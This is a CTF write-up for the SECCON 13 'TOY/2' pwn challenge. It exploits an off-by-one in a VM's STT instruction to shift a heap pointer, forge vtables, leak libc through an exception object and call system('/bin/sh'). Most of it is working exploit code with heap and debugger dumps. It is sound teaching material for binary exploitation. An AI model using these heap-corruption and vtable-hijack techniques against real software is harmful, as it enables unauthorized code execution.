SECCON CTF 13 Quals - TOY/2

author:ptr-yudai

TOY/2 is a minimalist 16 bit CPU.

nc toy-2.seccon.games 5000

Team: Super Guesser

Attachment: TOY_2.tar.gz xpl.py

int main() {
  VM *vm = new VM();
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  for (Addr i = 0; i < MEM_SIZE; i++)
    if (fread(&vm->at(i), 1, 1, stdin) <= 0)
      break;

  std::cout << "[+] Running..." << std::endl;
  try {
    vm->run(0);
  } catch (const std::exception &e) {
    std::cout << "[-] Error: " << e.what() << std::endl;
  }
  std::cout << "[+] Done." << std::endl;
  vm->dump_registers();

  delete vm;
  return 0;
}

The challenge was a VM implementation of the TOY/2 cpu. Code and data are in the same segment (_mem).

Whilst most operations always check, if the arguments given to the instructions are inside this segment, there’s an off-by-one error in the stt operator.

case 13: /* STT */
  mem_write(_regs.a & (size() - 1), _regs.t);
  break;

Since it does an 16-bit write, limiting the memory address to size-1 allows us to write one byte outside of the memory region.

Let’s take a look at the layout of that memory region.

0x55555556c2a0:	0x0000000000000000	0x0000000000001031
0x55555556c2b0:	0x0000555555558c70	0x0000000000000000  <= VM vtable / _mem
0x55555556c2c0:	0x0000000000000000	0x0000000000000000
0x55555556c2d0:	0x0000000000000000	0x0000000000000000
0x55555556c2e0:	0x0000000000000000	0x0000000000000000
0x55555556c2f0:	0x0000000000000000	0x0000000000000000
0x55555556c300:	0x0000000000000000	0x0000000000000000
0x55555556c310:	0x0000000000000000	0x0000000000000000
0x55555556c320:	0x0000000000000000	0x0000000000000000

...

0x55555556d2b0:	0x0000000000000000	0x000055555556c2b8  <= end of _mem / ptr to _mem
0x55555556d2c0:	0x0000000000001000	0x0000000000000000  <= size of _mem / regs (pc,a,t,c,z)
0x55555556d2d0:	0x0000000000000000	0x000000000000dd31

So, with this one byte out-of-bound write, we can effectively overwrite the LSB of the _mem ptr, moving it up- and downwards.

We can use this to first move the _mem region further down, allowing us to overwrite more data behind _mem (like the size of memory). We can also move it upwards, which would then allow us to read or overwrite the vtable of the VM, by which we could let it point to a fake vtable.

Though we cannot leak any addresses from the vm, we can use existing addresses to calculate other addresses from it. In the beginning, we’ll only have a pointer to the challenge itself on the heap (the vtable pointer) and a pointer to the heap via _mem ptr.

To do something useful, we’d need a libc leak. That’s where the illegal operation can help.

case 7: /* illegal */
  throw std::runtime_error("Illegal instruction");

This will raise an exception and create an exception object on the heap (behind our current vm object).

0x55555556d2b0:	0xfe00000000000000	0x000055555556c2c8
0x55555556d2c0:	0x0000000000001000	0x0000c8fe0fff000a
0x55555556d2d0:	0x0000000000000000	0x00000000000000a1
0x55555556d2e0:	0x000000055555556d	0x9b4e6a6ead1198b2
0x55555556d2f0:	0x0000555555558cb8	0x00007ffff7e0f150
0x55555556d300:	0x00007ffff7de2a40	0x00007ffff7dfa360
0x55555556d310:	0x0000000000000000	0x0000000100000001
0x55555556d320:	0x000055555555737e	0x00005555555572b8
0x55555556d330:	0x00005555555563e1	0x000055555556d360
0x55555556d340:	0x474e5543432b2b00	0x00007ffff7df8290
0x55555556d350:	0x0000000000000000	0x00007fffffffecf0
0x55555556d360:	0x00007ffff7fabff0	0x000055555556d398 <= libstdc++ ptr
0x55555556d370:	0x0000000000000000	0x0000000000000041
0x55555556d380:	0x000000055555556d	0x9b4e6a6ead1198b2
0x55555556d390:	0x00000000ffffffff	0x206c6167656c6c49
0x55555556d3a0:	0x7463757274736e69	0x00000000006e6f69

The distance between libstdc++ and libc will always be constant. So, if we can access those addresses, we could calculate libc and then create a fake vtable to execute something like system("/bin/sh").

The attack plan would be something like:

  • Overwrite LSB of _mem and move it downwards
  • Overwrite size of _mem so we still have access to _mem ptr when moving upwards
  • Overwrite LSB of _mem and point it before the vm
  • Create a fake vtable in _mem which will start the challenge again when calling dump_registers
  • Raise an exception via operator 7

This will get the exception on the heap and lets us send another program, in which we can then do pretty much the same, but this time, we’ll have the exception before our current vm, which we then can read, calculate libc from it and do our final vtable to execute system("/bin/sh").

To be able to access data kind of like a variable and not having to “jump over” user data, I separated the code into two segments (code/data). By this we can put values into the data segment of our code and access it via 0xf00 + offset.

def exploit(r):
  # code segment

  # overwrite mem ptr
  code = lda(0xf00)
  code += tat()
  code += lda(0xf02)
  code += stt()

  code = code.ljust(0xf00, b"\x00")

  # data segment
  code += p16(0xc800)                 # 0xf00 LSB overwrite value
  code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)

  code = code.ljust(4096, b"\x00")

  r.send(code)
0x55555556d2b0:	0xfe00000000000000	0x000055555556c2c8  <= _mem / _mem ptr
0x55555556d2c0:	0x0000000000001000	0x0000c8fe0fff0000
0x55555556d2d0:	0x0000000000000000	0x000000000000dd31

With this, we moved the _mem pointer now from 0x000055555556c2b8 to 0x000055555556c2c8. We also have to take this in consideration for our code, since pc will be calculated relatively to _mem (we can do this by just adding a padding into our code here).

# padding for moved mem ptr
code += b"\x00" * 16

and then continue our code after this, in which we’ll now overwrite the size of _mem.

# overwrite _mem size
code += lda(0xf04 - 0x10)
code += sta(0x1000 + 8 - 0x10)

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xc8fe)                 # 0xf00 LSB overwrite value
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size

Since we have moved _mem we also have to take the -0x10 into consideration for referencing the offsets, but this will effectively set _mem.size to 0xffff.

0x55555556d2b0:	0xfe00000000000000	0x000055555556c2c8 <= _mem / _mem ptr
0x55555556d2c0:	0x000000000000ffff	0x0000c8feffff0000 <= _mem size
0x55555556d2d0:	0x0000000000000000	0x000000000000dd31

Now we can move _mem upwards, to be able to access vtable and _mem ptr at the same time and use this to create a fake vtable, which allows us to raise the exception and re-enter the challenge.

But when moving _mem upwards, we need to take pc into consideration again (which would now point to a previous operation), so that we can continue with our code execution. To get around this, we can just add some ror operations kinda like a nop-sled. (Also now all “variables” are off by +0x8).

# padding to increase pc
code += ror() * 16

# move _mem ptr up
code += lda(0xf06 - 0x10)
code += sta(0x1000 - 1 - 0x10)

# read vtable and calculate offset to main
code += lda(-0x8 + 0x8)             # read original vtable (lower 2 bytes)
code += sbc(0xf08 + 0x8)            # calculate elf base
code += adc(0xf0a + 0x8)            # calculate main
code += sta(0xe00 + 0x8)            # write into mem
code += lda(-0x8 + 0x2 + 0x8)       # read original vtable (next 2 bytes)
code += sta(0xe00 + 0x2 + 0x8)      # write into mem
code += lda(-0x8 + 0x4 + 0x8)       # read original vtable (next 2 bytes)
code += sta(0xe00 + 0x4 + 0x8)      # write into mem

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xc800)                 # 0xf00 LSB overwrite value (move down)
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size
code += p16(0xb000)                 # 0xf06 LSB overwrite value (move up)

code += p16(0x4c70)                 # 0xf08 original vtable offset
code += p16(0x26d0)                 # 0xf0a offset to main

This will move _mem ptr up just enough, so we can access the original vtable pointer via _mem, then calculate the address of main based on it and write it into _mem so we can use it as fake vtable afterwards.

0x55555556d0b0:	0x0000000000000000	0x00005555555566d0 <= main (fake vtable)
0x55555556d0c0:	0x0000000000000000	0x0000000000000000
0x55555556d0d0:	0x0000000000000000	0x0000000000000000
0x55555556d0e0:	0x0000000000000000	0x0000000000000000

Now, we’ll just have to overwrite vtable and letting it point to our fake vtable.

# overwrite vtable ptr
code += lda(0xf0c + 0x8)            # load offset to _mem ptr
code += ldi()                       # read lower 2 bytes of _mem ptr
code += adc(0xf12 + 0x8)            # add offset to fake vtable
code += sta(-0x8 + 0x8)             # overwrite vtable

code += lda(0xf0e + 0x8)            # copy _mem ptr+2 to vtable+2
code += ldi()
code += sta(-0x8 + 0x2 + 0x8)
code += lda(0xf10 + 0x8)            # copy _mem ptr+4 to vtable+4
code += ldi()
code += sta(-0x8 + 0x4 + 0x8)

# trigger invalid instruction
code += op(7, 0)

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xc800)                 # 0xf00 LSB overwrite value (move down)
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size
code += p16(0xb000)                 # 0xf06 LSB overwrite value (move up)

code += p16(0x4c70)                 # 0xf08 original vtable offset
code += p16(0x26d0)                 # 0xf0a offset to main

code += p16(0x1000 + 0x8)           # 0xf0c offset to _mem ptr
code += p16(0x1000 + 0x2 + 0x8)     # 0xf0e offset to _mem ptr + 2
code += p16(0x1000 + 0x4 + 0x8)     # 0xf10 offset to _mem ptr + 4
code += p16(0xe00)                  # 0xf12 offset to fake vtable

We’ll be using the existing _mem pointer for this, since it already points to our vm. We just load 2 bytes from it at a time, calculate the offset to our fake vtable and then overwrite the corresponding two bytes of vtable with it.

0x55555556c2a0:	0x0000000000000000	0x0000000000001031
0x55555556c2b0:	0x000055555556d0b0	0xd000ef025000ef00 <= vtable
0x55555556c2c0:	0x0000000000000000	0x0000000000000000
0x55555556c2d0:	0x40004000fff8eef4	0x4000400040004000
0x55555556c2e0:	0x4000400040004000	0x4000400040004000

...

0x55555556d0b0:	0x0000000000000000	0x00005555555566d0 <= fake vtable
0x55555556d0c0:	0x0000000000000000	0x0000000000000000
0x55555556d0d0:	0x0000000000000000	0x0000000000000000
0x55555556d0e0:	0x0000000000000000	0x0000000000000000
0x55555556d0f0:	0x0000000000000000	0x0000000000000000

With everything prepared, we can now trigger the illegal instruction, which will raise the exception and execute our fake vtable, which will just start again in main reading our next payload.

[*] Switching to interactive mode
[+] Running...
[+] Done.

The challenge will now create a new VM object directly behind the exception object, so we can just repeat the previous process to again read outside of _mem and getting the libstdc++ pointer and create yet another fake vtable.

We can use the first code again, just changing the heap offsets a bit, since we have a new vm object allocated.

r.recvuntil("[+] Done.")

# move _mem ptr down
code = lda(0xf00)
code += tat()
code += lda(0xf02)
code += stt()

# padding for moved mem ptr
code += b"\x00" * 16

# overwrite _mem size
code += lda(0xf04 - 0x10)
code += sta(0x1000 + 8 - 0x10)

# padding to increase pc
code += ror() * 80

# move _mem ptr up
code += lda(0xf06 - 0x10)
code += sta(0x1000 - 1 - 0x10)

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xd800)                 # 0xf00 LSB overwrite value (move down)
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size
code += p16(0x5000)                 # 0xf06 LSB overwrite value (move up)

code += p16(0x4c70)                 # 0xf08 original vtable offset
code += p16(0x26d0)                 # 0xf0a offset to main

code = code.ljust(4096, b"\x00")

pause()
r.send(code)

This will again, overwrite the size of _mem and then move the _mem ptr before the vm, so that it points before a libstdc++ pointer from the previously generated exception.

0x55555556d330:	0x00005555555563e1	0x000055555556d360
0x55555556d340:	0x474e5543432b2b00	0x00007ffff7df8290
0x55555556d350:	0x0000000000000000	0x00007fffffffecf0
0x55555556d360:	0x00007ffff7fabff0	0x000055555556d398  <= libstdc++ pointer
0x55555556d370:	0x0000000000000000	0x0000000000000041
0x55555556d380:	0x000000055555556d	0x8a8aeb215917a587
0x55555556d390:	0x00000000ffffffff	0x206c6167656c6c49
0x55555556d3a0:	0x7463757274736e69	0x00000000006e6f69
0x55555556d3b0:	0x0000000000000000	0x0000000000001031
0x55555556d3c0:	0x0000555555558c70	0xd000ef025000ef00  <= second VM
0x55555556d3d0:	0x0000000000000000	0x0000000000000000
0x55555556d3e0:	0x40004000fff8eef4	0x4000400040004000
0x55555556d3f0:	0x4000400040004000	0x4000400040004000
0x55555556d400:	0xffefeef640004000	0x0000000000000000

...

0x55555556e3c0:	0x0000000000000000	0x000055555556d350  <= _mem ptr
0x55555556e3d0:	0x000000000000ffff	0x0001d8006000bff0
0x55555556e3e0:	0x0000000000000000	0x000000000000cc21

Now we can read the libstdc++ pointer, calculate libc base from it and store it in _mem for further usage.

LIBCOFFSET = 0x4aeff0

# read libstdc++ pointer and calculate libc base and store in _mem
code += lda(0x10)                    # bytes 0-2
code += sbc(0xf08 + 0x78)
code += sta(0x400 + 0x78)

code += lda(0x12)                    # bytes 2-4
code += sbc(0xf0a + 0x78)
code += sta(0x402 + 0x78)

code += lda(0x14)                    # bytes 4-6
code += sta(0x404 + 0x78)

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xd800)                 # 0xf00 LSB overwrite value (move down)
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size
code += p16(0x5000)                 # 0xf06 LSB overwrite value (move up)

code += p16(LIBCOFFSET & 0xffff)            # 0xf08 libc offset (0-16)
code += p16((LIBCOFFSET >> 16) & 0xffff)    # 0xf0a libc offset (16-32)
0x55555556d7b0:	0x0000000000000000	0x0000000000000000
0x55555556d7c0:	0x0000000000000000	0x00007ffff7afd000 <= libc base
0x55555556d7d0:	0x0000000000000000	0x0000000000000000
0x55555556d7e0:	0x0000000000000000	0x0000000000000000

When the application calls vm->dump_register it will call the function at vtable+8 and the vm itself as its argument (rdi). To call something like system("/bin/sh"), we’d also need to control rdi. We can use the following gadget for it

0x000000000016e44e: mov rdi, r14; call qword ptr [rax + 0x10];

r14 will point into our current _mem, so we can put /bin/sh there, and then it will call [rax + 0x10], which is directly behind our fake call. So let’s prepare the fake vtable accordingly.

# 0x000000000016e44e: mov rdi, r14; call qword ptr [rax + 0x10];
GADGETOFFSET = 0x16e44e

# write fake vtable with gadget
code += lda(0x400 + 0x78)           # libc base
code += adc(0xf0c + 0x78)           # add gadget offset
code += sta(0x410 + 0x78)           # fake vtable

code += lda(0x402 + 0x78)           # libc base
code += adc(0xf0e + 0x78)           # add gadget offset
code += sta(0x412 + 0x78)           # fake vtable

code += lda(0x404 + 0x78)           # libc base
code += sta(0x414 + 0x78)           # fake vtable

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xd800)                 # 0xf00 LSB overwrite value (move down)
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size
code += p16(0x5000)                 # 0xf06 LSB overwrite value (move up)

code += p16(LIBCOFFSET & 0xffff)            # 0xf08 libc offset (0-16)
code += p16((LIBCOFFSET >> 16) & 0xffff)    # 0xf0a libc offset (16-32)

code += p16(GADGETOFFSET & 0xffff)          # 0xf0c gadget offset (0-16)
code += p16((GADGETOFFSET >> 16) & 0xffff)  # 0xf0e gadget offset (16-32)
0x55555556d7c0:	0x0000000000000000	0x00007ffff7afd000 <= libc base address
0x55555556d7d0:	0x0000000000000000	0x00007ffff7c6b44e <= fake vtable (pointing to gadget)
0x55555556d7e0:	0x0000000000000000	0x0000000000000000

Write /bin/sh to the address r14 will point to.

# write binsh string to _mem
BINSH = 0x0068732f6e69622f

code += lda(0xf10 + 0x78)
code += sta(0x10)
code += lda(0xf12 + 0x78)
code += sta(0x12)
code += lda(0xf14 + 0x78)
code += sta(0x14)
code += lda(0xf16 + 0x78)
code += sta(0x16)

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xd800)                 # 0xf00 LSB overwrite value (move down)
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size
code += p16(0x5000)                 # 0xf06 LSB overwrite value (move up)

code += p16(LIBCOFFSET & 0xffff)            # 0xf08 libc offset (0-16)
code += p16((LIBCOFFSET >> 16) & 0xffff)    # 0xf0a libc offset (16-32)

code += p16(GADGETOFFSET & 0xffff)          # 0xf0c gadget offset (0-16)
code += p16((GADGETOFFSET >> 16) & 0xffff)  # 0xf0e gadget offset (16-32)

code += p16(BINSH & 0xffff)                 # 0xf10 binsh (0-16)
code += p16((BINSH >> 16) & 0xffff)         # 0xf12 binsh (16-32)
code += p16((BINSH >> 32) & 0xffff)         # 0xf14 binsh (32-48)
code += p16((BINSH >> 48) & 0xffff)         # 0xf16 binsh (48-64)
0x55555556d360:	0x0068732f6e69622f	0x000055555556d398 <= r14
0x55555556d370:	0x0000000000000000	0x0000000000000041

0x55555556d360:	"/bin/sh"

Writing system+0x1b to rax+0x10. We’re using system+0x1b here, so that the stack will be correctly aligned, avoiding running into a segfault on movaps later on.

SYSTEMOFFSET = libc.symbols["system"] + 0x1b

code += lda(0x400 + 0x78)           # libc base
code += adc(0xf18 + 0x78)           # add system offset
code += sta(0x418 + 0x78)           # store at 0x418

code += lda(0x402 + 0x78)           # libc base
code += adc(0xf1a + 0x78)           # add system offset
code += sta(0x418 + 0x2 + 0x78)     # store at 0x418+2

code += lda(0x404 + 0x78)           # libc base
code += sta(0x418 + 0x4 + 0x78)     # store at 0x418+4

# overwrite vtable with fake vtable

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xd800)                 # 0xf00 LSB overwrite value (move down)
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size
code += p16(0x5000)                 # 0xf06 LSB overwrite value (move up)

code += p16(LIBCOFFSET & 0xffff)            # 0xf08 libc offset (0-16)
code += p16((LIBCOFFSET >> 16) & 0xffff)    # 0xf0a libc offset (16-32)

code += p16(GADGETOFFSET & 0xffff)          # 0xf0c gadget offset (0-16)
code += p16((GADGETOFFSET >> 16) & 0xffff)  # 0xf0e gadget offset (16-32)

code += p16(BINSH & 0xffff)                 # 0xf10 binsh (0-16)
code += p16((BINSH >> 16) & 0xffff)         # 0xf12 binsh (16-32)
code += p16((BINSH >> 32) & 0xffff)         # 0xf14 binsh (32-48)
code += p16((BINSH >> 48) & 0xffff)         # 0xf16 binsh (48-64)

code += p16(SYSTEMOFFSET & 0xffff)          # 0xf18 system offset (0-16)
code += p16((SYSTEMOFFSET >> 16) & 0xffff)  # 0xf1a system offset (16-32)
0x55555556d7c0:	0x0000000000000000	0x00007ffff7afd000 <= libc base
0x55555556d7d0:	0x0000000000000000	0x00007ffff7c6b44e <= fake vtable / gadget
0x55555556d7e0:	0x00007ffff7b5575b	0x0000000000000000 <= system+0x1b

With everything prepared, we now just have to overwrite the vtable pointer of the vm one last time to trigger our gadget and execute system("/bin/sh).

# overwrite vtable with fake vtable
code += lda(0xf1c + 0x78)           # get _mem_ptr
code += ldi()
code += adc(0xf22 + 0x78)           # add offset to fake vtable
code += sta(0x70)                   # overwrite vtable

code += lda(0xf1e + 0x78)           # get _mem_ptr+2
code += ldi()
code += sta(0x70 + 0x2)

code += lda(0xf20 + 0x78)           # get _mem_ptr+4
code += ldi()
code += sta(0x70 + 0x4)

# data segment
code = code.ljust(0xf00, b"\x00")
code += p16(0xd800)                 # 0xf00 LSB overwrite value (move down)
code += p16(0xfff)                  # 0xf02 Target address (overwrite _mem ptr)
code += p16(0xffff)                 # 0xf04 new _mem_size
code += p16(0x5000)                 # 0xf06 LSB overwrite value (move up)

code += p16(LIBCOFFSET & 0xffff)            # 0xf08 libc offset (0-16)
code += p16((LIBCOFFSET >> 16) & 0xffff)    # 0xf0a libc offset (16-32)

code += p16(GADGETOFFSET & 0xffff)          # 0xf0c gadget offset (0-16)
code += p16((GADGETOFFSET >> 16) & 0xffff)  # 0xf0e gadget offset (16-32)

code += p16(BINSH & 0xffff)                 # 0xf10 binsh (0-16)
code += p16((BINSH >> 16) & 0xffff)         # 0xf12 binsh (16-32)
code += p16((BINSH >> 32) & 0xffff)         # 0xf14 binsh (32-48)
code += p16((BINSH >> 48) & 0xffff)         # 0xf16 binsh (48-64)

code += p16(SYSTEMOFFSET & 0xffff)          # 0xf18 system offset (0-16)
code += p16((SYSTEMOFFSET >> 16) & 0xffff)  # 0xf1a system offset (16-32)

code += p16(0x1000 + 0x78)                  # 0xf1c _mem_ptr
code += p16(0x1000 + 0x2 + 0x78)            # 0xf1e _mem_ptr+2
code += p16(0x1000 + 0x4 + 0x78)            # 0xf20 _mem_ptr+4

code += p16(0x480)                          # 0xf22 offset to fake vtable

With this done, the challenge will end code execution and call vm->dump_registers, with r14 pointing to /bin/sh.

────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x000055555556d7d0  →  0x0000000000000000
$rbx   : 0x000055555556d3c0  →  0x000055555556d7d0  →  0x0000000000000000
$rcx   : 0x00007ffff7c19574  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7fb1310  →  0x00007ffff7e92670  →  0x6d058b48fa1e0ff3
$rsp   : 0x00007fffffffecc0  →  0x000055555556c2b0  →  0x000055555556d0b0  →  0x0000000000000000
$rbp   : 0x0000555555559080  →  0x00007ffff7fb1310  →  0x00007ffff7e92670  →  0x6d058b48fa1e0ff3
$rsi   : 0x0               
$rdi   : 0x000055555556d3c0  →  0x000055555556d7d0  →  0x0000000000000000
$rip   : 0x000055555555689f  →  <main+01cf> call QWORD PTR [rax+0x8]
$r8    : 0x9               
$r9    : 0x0               
$r10   : 0x1               
$r11   : 0x202             
$r12   : 0x000055555556d360  →  0x0068732f6e69622f ("/bin/sh"?)
$r13   : 0x0               
$r14   : 0x000055555556d360  →  0x0068732f6e69622f ("/bin/sh"?)
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →  0x00010102464c457f
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555556894 <main+01c4>      call   0x5555555561d0 <_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_@plt>
●  0x555555556899 <main+01c9>      mov    rax, QWORD PTR [rbx]
   0x55555555689c <main+01cc>      mov    rdi, rbx
 → 0x55555555689f <main+01cf>      call   QWORD PTR [rax+0x8]
   0x5555555568a2 <main+01d2>      mov    rdi, rbx
   0x5555555568a5 <main+01d5>      mov    esi, 0x1020
   0x5555555568aa <main+01da>      call   0x555555556240 <_ZdlPvm@plt>
   0x5555555568af <main+01df>      pop    rbx
   0x5555555568b0 <main+01e0>      xor    eax, eax

gef➤  x/30gx $rax+0x8
0x55555556d7d8:	0x00007ffff7c6b44e	0x00007ffff7b5575b <= gadget / system+0x1b
0x55555556d7e8:	0x0000000000000000	0x0000000000000000
0x55555556d7f8:	0x0000000000000000	0x0000000000000000

Calling our gadget, which will set rdi to r14 and then calling [rax + 0x10], which points to system+0x1b.

─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x000055555556d7d0  →  0x0000000000000000
$rbx   : 0x000055555556d3c0  →  0x000055555556d7d0  →  0x0000000000000000
$rcx   : 0x00007ffff7c19574  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7fb1310  →  0x00007ffff7e92670  →  0x6d058b48fa1e0ff3
$rsp   : 0x00007fffffffecb8  →  0x00005555555568a2  →  <main+01d2> mov rdi, rbx
$rbp   : 0x0000555555559080  →  0x00007ffff7fb1310  →  0x00007ffff7e92670  →  0x6d058b48fa1e0ff3
$rsi   : 0x0               
$rdi   : 0x000055555556d3c0  →  0x000055555556d7d0  →  0x0000000000000000
$rip   : 0x00007ffff7c6b44e  →  0xc0851050fff7894c
$r8    : 0x9               
$r9    : 0x0               
$r10   : 0x1               
$r11   : 0x202             
$r12   : 0x000055555556d360  →  0x0068732f6e69622f ("/bin/sh"?)
$r13   : 0x0               
$r14   : 0x000055555556d360  →  0x0068732f6e69622f ("/bin/sh"?)
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →  0x00010102464c457f
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7c6b443                  mov    rax, QWORD PTR [r14+0x8]
   0x7ffff7c6b447                  mov    rsi, QWORD PTR [rbx+0x10]
   0x7ffff7c6b44b                  mov    rdx, r12
 → 0x7ffff7c6b44e                  mov    rdi, r14
   0x7ffff7c6b451                  call   QWORD PTR [rax+0x10]
   0x7ffff7c6b454                  test   eax, eax
   0x7ffff7c6b456                  je     0x7ffff7c6b56d
   0x7ffff7c6b45c                  mov    rdi, r12
   0x7ffff7c6b45f                  call   QWORD PTR [rbx]

which will then finally trigger our shell :)

python3 workxpl.py 1
[*] '/home/kileak/ctf/seccon24/toy2/TOY_2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to toy-2.seccon.games on port 5000: Done
[*] Paused (press any to continue)
[*] Switching to interactive mode

[+] Running...
[+] Done.
$ cat /flag*
SECCON{Im4g1n3_pWn1n6_1n51d3_a_3um_CM0S}